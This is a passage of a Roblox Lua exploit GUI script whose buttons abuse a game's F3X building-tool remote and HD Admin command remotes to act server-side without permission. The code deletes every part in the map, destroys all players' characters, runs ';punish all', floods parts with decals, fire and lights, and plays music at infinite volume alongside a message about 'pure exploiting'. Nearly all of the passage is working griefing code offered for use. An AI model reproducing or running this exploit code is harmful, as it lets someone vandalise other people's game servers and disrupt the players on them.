colorpoopyshit[#colorpoopyshit+1] = {Part = P[36], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[53] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[53], Color = Color3.new(0.6392157077789307,0.29411765933036804,0.29411765933036804), UnionColoring = false} end if P[45] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[45], Color = Color3.new(0.6392157077789307,0.29411765933036804,0.29411765933036804), UnionColoring = false} end if P[42] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[42], Color = Color3.new(0.5490196347236633,0.35686275362968445,0.6235294342041016), UnionColoring = false} end if P[51] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[51], Color = Color3.new(0.6392157077789307,0.29411765933036804,0.29411765933036804), UnionColoring = false} end if P[49] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[49], Color = Color3.new(0.5490196347236633,0.35686275362968445,0.6235294342041016), UnionColoring = false} end if P[47] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[47], Color = Color3.new(0.45490196347236633,0.5254902243614197,0.615686297416687), UnionColoring = false} end if P[34] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[34], Color = Color3.new(0.32156863808631897,0.48627451062202454,0.6823529601097107), UnionColoring = false} end if P[55] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[55], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[37] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[37], Color = Color3.new(0.32156863808631897,0.48627451062202454,0.6823529601097107), UnionColoring = false} end poopyshitColor(endpoint, colorpoopyshit) local collisionpoopyshit = {} if P[7] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[7], CanCollide = true} end if P[8] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[8], CanCollide = true} end if P[9] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[9], CanCollide = true} end if P[10] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[10], CanCollide = true} end if P[13] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[13], CanCollide = true} end if P[14] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[14], CanCollide = true} end if P[15] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[15], CanCollide = true} end if P[16] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[16], CanCollide = true} end if P[18] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[18], CanCollide = true} end if P[20] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[20], CanCollide = true} end if P[22] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[22], CanCollide = true} end if P[24] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[24], CanCollide = true} end if P[26] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[26], CanCollide = true} end if P[28] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[28], CanCollide = true} end if P[29] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[29], CanCollide = true} end if P[31] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[31], CanCollide = true} end if P[32] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[32], CanCollide = true} end if P[58] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[58], CanCollide = true} end if P[40] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[40], CanCollide = true} end if P[56] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[56], CanCollide = true} end if P[44] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[44], CanCollide = true} end if P[39] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[39], CanCollide = true} end if P[36] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[36], CanCollide = true} end if P[53] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[53], CanCollide = true} end if P[45] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[45], CanCollide = true} end if P[42] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[42], CanCollide = true} end if P[51] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[51], CanCollide = true} end if P[49] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[49], CanCollide = true} end if P[47] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[47], CanCollide = true} end if P[34] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[34], CanCollide = true} end if P[55] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[55], CanCollide = true} end if P[37] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[37], CanCollide = true} end poopyshitCollision(endpoint, collisionpoopyshit) local lockTasks, nameTasks = {}, {} if P[18] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[18], "Prayer Mat") end) end if P[20] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[20], "Prayer Mat") end) end if P[22] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[22], "SpawnLocation") end) end if P[24] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[24], "Prayer Mat") end) end if P[28] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[28], "MeshPart") end) end if P[29] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[29], "Prayer Mat") end) end if P[31] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[31], true) end) end if P[31] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[31], "Baseplate") end) end if P[32] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[32], "Prayer Mat") end) end if P[58] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[58], "Prayer Mat") end) end if P[40] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[40], "Prayer Mat") end) end if P[56] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[56], "Prayer Mat") end) end if P[44] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[44], "MeshPart") end) end if P[39] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[39], "MeshPart") end) end if P[36] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[36], "MeshPart") end) end if P[53] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[53], "Prayer Mat") end) end if P[45] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[45], "Prayer Mat") end) end if P[42] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[42], "Prayer Mat") end) end if P[51] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[51], "Prayer Mat") end) end if P[49] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[49], "Prayer Mat") end) end if P[47] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[47], "Prayer Mat") end) end if P[34] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[34], "Prayer Mat") end) end if P[55] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[55], "MeshPart") end) end if P[37] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[37], "Prayer Mat") end) end task.wait(0.2) if P[28] then task.spawn(function() createMesh(endpoint, P[28]) task.wait(0.2) syncMesh(endpoint, P[28], "rbxassetid://80644101452508", "rbxassetid://75676476820407", Vector3.new(1,1,1), Vector3.new(0,0,0)) end) end if P[36] then task.spawn(function() createMesh(endpoint, P[36]) task.wait(0.2) syncMesh(endpoint, P[36], "rbxassetid://12784458519", "rbxassetid://12784458697", Vector3.new(1,1,1), Vector3.new(0,0,0)) end) end if P[39] then task.spawn(function() createMesh(endpoint, P[39]) task.wait(0.2) syncMesh(endpoint, P[39], "rbxassetid://98336125892173", "rbxassetid://118139167470142", Vector3.new(1,1,1), Vector3.new(0,0,0)) end) end if P[44] then task.spawn(function() createMesh(endpoint, P[44]) task.wait(0.2) syncMesh(endpoint, P[44], "rbxassetid://105176227833763", "rbxassetid://88086211678789", Vector3.new(1,1,1), Vector3.new(0,0,0)) end) end if P[55] then task.spawn(function() createMesh(endpoint, P[55]) task.wait(0.2) syncMesh(endpoint, P[55], "rbxassetid://12784458519", "rbxassetid://12784458697", Vector3.new(1,1,1), Vector3.new(0,0,0)) end) end task.wait(0.5) if P[18] then task.spawn(function() createDecal(endpoint, P[18], Enum.NormalId.Top) setDecalTexture(endpoint, P[18], "http://www.roblox.com/asset/?id=355925304", Enum.NormalId.Top) end) end if P[20] then task.spawn(function() createDecal(endpoint, P[20], Enum.NormalId.Top) setDecalTexture(endpoint, P[20], "http://www.roblox.com/asset/?id=258160448", Enum.NormalId.Top) end) end if P[22] then task.spawn(function() createDecal(endpoint, P[22], Enum.NormalId.Top) setDecalTexture(endpoint, P[22], "rbxasset://textures/SpawnLocation.png", Enum.NormalId.Top) end) end if P[24] then task.spawn(function() createDecal(endpoint, P[24], Enum.NormalId.Top) setDecalTexture(endpoint, P[24], "http://www.roblox.com/asset/?id=355925304", Enum.NormalId.Top) end) end if P[26] then task.spawn(function() createDecal(endpoint, P[26], Enum.NormalId.Front) setDecalTexture(endpoint, P[26], "rbxassetid://77642796751043", Enum.NormalId.Front) end) end if P[29] then task.spawn(function() createDecal(endpoint, P[29], Enum.NormalId.Top) setDecalTexture(endpoint, P[29], "http://www.roblox.com/asset/?id=258160448", Enum.NormalId.Top) end) end if P[32] then task.spawn(function() createDecal(endpoint, P[32], Enum.NormalId.Top) setDecalTexture(endpoint, P[32], "http://www.roblox.com/asset/?id=355925586", Enum.NormalId.Top) end) end if P[34] then task.spawn(function() createDecal(endpoint, P[34], Enum.NormalId.Top) setDecalTexture(endpoint, P[34], "http://www.roblox.com/asset/?id=355925586", Enum.NormalId.Top) end) end if P[37] then task.spawn(function() createDecal(endpoint, P[37], Enum.NormalId.Top) setDecalTexture(endpoint, P[37], "http://www.roblox.com/asset/?id=355925586", Enum.NormalId.Top) end) end if P[40] then task.spawn(function() createDecal(endpoint, P[40], Enum.NormalId.Top) setDecalTexture(endpoint, P[40], "http://www.roblox.com/asset/?id=355925831", Enum.NormalId.Top) end) end if P[42] then task.spawn(function() createDecal(endpoint, P[42], Enum.NormalId.Top) setDecalTexture(endpoint, P[42], "http://www.roblox.com/asset/?id=355925304", Enum.NormalId.Top) end) end if P[45] then task.spawn(function() createDecal(endpoint, P[45], Enum.NormalId.Top) setDecalTexture(endpoint, P[45], "http://www.roblox.com/asset/?id=355925831", Enum.NormalId.Top) end) end if P[47] then task.spawn(function() createDecal(endpoint, P[47], Enum.NormalId.Top) setDecalTexture(endpoint, P[47], "http://www.roblox.com/asset/?id=258160448", Enum.NormalId.Top) end) end if P[49] then task.spawn(function() createDecal(endpoint, P[49], Enum.NormalId.Top) setDecalTexture(endpoint, P[49], "http://www.roblox.com/asset/?id=355925304", Enum.NormalId.Top) end) end if P[51] then task.spawn(function() createDecal(endpoint, P[51], Enum.NormalId.Top) setDecalTexture(endpoint, P[51], "http://www.roblox.com/asset/?id=355925831", Enum.NormalId.Top) end) end if P[53] then task.spawn(function() createDecal(endpoint, P[53], Enum.NormalId.Top) setDecalTexture(endpoint, P[53], "http://www.roblox.com/asset/?id=355925831", Enum.NormalId.Top) end) end if P[56] then task.spawn(function() createDecal(endpoint, P[56], Enum.NormalId.Top) setDecalTexture(endpoint, P[56], "http://www.roblox.com/asset/?id=355925586", Enum.NormalId.Top) end) end if P[58] then task.spawn(function() createDecal(endpoint, P[58], Enum.NormalId.Top) setDecalTexture(endpoint, P[58], "http://www.roblox.com/asset/?id=258160448", Enum.NormalId.Top) end) end task.wait(0.3) local G = {} task.spawn(function() G[6] = createGroup(endpoint, "Model", workspace, {7,8,9}) end) task.spawn(function() G[11] = createGroup(endpoint, "Model", workspace, {16}) setName(endpoint, G[11], "Hangman") end) task.spawn(function() G[5] = createGroup(endpoint, "Model", workspace, {10}) setName(endpoint, G[5], "Hangman") end) task.spawn(function() G[12] = createGroup(endpoint, "Model", workspace, {13,14,15}) end) task.wait(0.3) RequestCommand:InvokeServer(";res all") task.wait(0.2) RequestCommand:InvokeServer(";music 9069609200 ;volume inf") task.wait(8) RequestCommand:InvokeServer(";music 1839246711 ;pitch 1.2 ;volume inf") task.wait(0.4) RequestCommand:InvokeServer(";serverMessage you are now entering the world of pure exploiting!") end) end; task.spawn(C_1c); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_1e() local script = G2L["1e"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";sm get toadroasted") local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function Punish(player) char = player.Character DestroyPart(char) end for i,v in game.Players:GetPlayers() do --zzspawn(function() pcall(function() Punish(v) end) --end) end local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part, boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean, part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function Resize(part, size, cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://" .. texid } } } _(args) end function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function Sky(id) local hrp = char:WaitForChild("HumanoidRootPart") local cf = hrp.CFrame CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0))) for _, v in workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then SetAnchor(true, v) AddMesh(v) SetMesh(v, "111891702759441") SetTexture(v, id) MeshResize(v, Vector3.new(8000, 8000, 8000)) end end end local function createRainToads() while true do wait(0.3) -- Here they change the appearance time of the Toads or other meshes if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then local hrpcf = player.Character.HumanoidRootPart.CFrame local x = hrpcf.x local z = hrpcf.z local randint = math.random(-600, 600) local randint2 = math.random(-600, 600) local xloc = randint + x local zloc = randint2 + z local cf = player.Character.HumanoidRootPart.CFrame.y + 400 spawn(function() local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc))) for i, v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v, "MiniToad") -- Here the name of the toad changes SetAnchor(false, v) AddMesh(v) Resize(v, Vector3.new(100, 100, 100), v.CFrame) MeshResize(v, Vector3.new(4, 4, 4)) SetMesh(v, "5038530279") -- Here put it A custom mesh SetTexture(v, "5038530309") -- X2 SetCollision(v, false) v.Orientation = Vector3.new(0, 0, 0) v.CFrame = v.CFrame + Vector3.new(0, 0, 0) local sound = Instance.new("Sound", v) sound.SoundId = "rbxassetid://153752123" sound.Volume = 10 sound.PlayOnRemove = true sound:Destroy() end end end) else wait(1) end end end coroutine.wrap(createRainToads)() Sky("201208408") end) end; task.spawn(C_1e); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_20() local script = G2L["20"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";punish all") wait(0.1) local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function delete(part) local args = { [1] = "Remove", [2] = { [1] = part } } serverendpoint:InvokeServer(unpack(args)) end local function deleteall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() delete(v) end) end end end deleteall() end) end; task.spawn(C_20); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_22() local script = G2L["22"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";gear me 33866846") end) end; task.spawn(C_22); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_24() local script = G2L["24"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function name(part, stringa) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringa } serverendpoint:InvokeServer(unpack(args)) end local function lock(part, boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } serverendpoint:InvokeServer(unpack(args)) end -- main func local function createdecal(part, side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } serverendpoint:InvokeServer(unpack(args)) end local function setdecal(part, asset, side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } serverendpoint:InvokeServer(unpack(args)) end local function color(part, color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } serverendpoint:InvokeServer(unpack(args)) end local function addfire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } serverendpoint:InvokeServer(unpack(args)) end local function syncfire(part, size, heat) local args = { [1] = "SyncDecorate", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire", ["Size"] = 30, ["Heat"] = 35 } } } serverendpoint:InvokeServer(unpack(args)) end local function addlight(part, brightness) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "PointLight" } } } serverendpoint:InvokeServer(unpack(args)) end local function synclight(part, brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "PointLight", ["Brightness"] = brightness, ["Color"] = Color3.new(1, 0, 0) } } } serverendpoint:InvokeServer(unpack(args)) end local function setcollision(part, booleana) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = booleana } } } serverendpoint:InvokeServer(unpack(args)) end local function decalspam() local decalid = "96757457442198" for _, v in ipairs(workspace:GetDescendants()) do if v.Name == "Sky" then print("no") elseif v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() createdecal(v, Enum.NormalId.Front) createdecal(v, Enum.NormalId.Back) createdecal(v, Enum.NormalId.Left) createdecal(v, Enum.NormalId.Right) createdecal(v, Enum.NormalId.Bottom) createdecal(v, Enum.NormalId.Top) setdecal(v, decalid, Enum.NormalId.Front) setdecal(v, decalid, Enum.NormalId.Back) setdecal(v, decalid, Enum.NormalId.Left) setdecal(v, decalid, Enum.NormalId.Right) setdecal(v, decalid, Enum.NormalId.Bottom) setdecal(v, decalid, Enum.NormalId.Top) end) end end end local function lightall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() addlight(v) synclight(v, 15) end) end end end local function colorall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() color(v, Color3.new(0.0666667, 0.0666667, 0.0666667)) end) end end end local function sky666() spawn(function() local position = char.Head.Position local part = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(position + Vector3.new(0, 2, 0)), workspace) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } serverendpoint:InvokeServer(unpack(args)) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://8006679977" } } } serverendpoint:InvokeServer(unpack(args)) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = Vector3.new(90, 90, 90) } } } serverendpoint:InvokeServer(unpack(args)) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://15849970412" } } } serverendpoint:InvokeServer(unpack(args)) name(part, "Sky") lock(part, true) setcollision(part, false) end) end local function fireall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() addfire(v) syncfire(v) end) end end end local function sixsixsix() fireall() sky666() decalspam() colorall() lightall() end sixsixsix() end) end; task.spawn(C_24); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_26() local script = G2L["26"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color, ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end -- ?Y�1 Tambahan: daftar 3 ID decal local ids = { "93092188749697" } while wait(0.1) do spawn(function() local e = char.HumanoidRootPart.CFrame.x + math.random(-100, 100) local f = char.HumanoidRootPart.CFrame.y local g = char.HumanoidRootPart.CFrame.z + math.random(-100, 100) CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0,6,0), workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then SetName(v,"particle") -- ?Y�1 pilih salah satu ID acak dari daftar di atas local id = ids[math.random(1, #ids)] SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SetTrans(v,1) Resize(v,Vector3.new(7,7,0.1),v.CFrame) SetLocked(v,true) while wait(0.01) do MovePart(v,CFrame.new(v.CFrame.x,v.CFrame.y + 3,v.CFrame.z)) end end end end) end end) end; task.spawn(C_26); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_28() local script = G2L["28"]; script.Parent.MouseButton1Click:Connect(function() local Players = game:GetService("Players") local player = Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local backpack = player.Backpack local e = char.HumanoidRootPart.CFrame.x local f = char.HumanoidRootPart.CFrame.y local g = char.HumanoidRootPart.CFrame.z local ModelPosition = CFrame.new(math.floor(e), math.floor(f), math.floor(g)) * CFrame.new(100, -1, -140) local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("F3X Tools not found") return end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function huse() local model_id = "134035486439798" local imported_model = game:GetObjects("rbxassetid://" .. model_id)[1] imported_model.Parent = game.Lighting local primary = 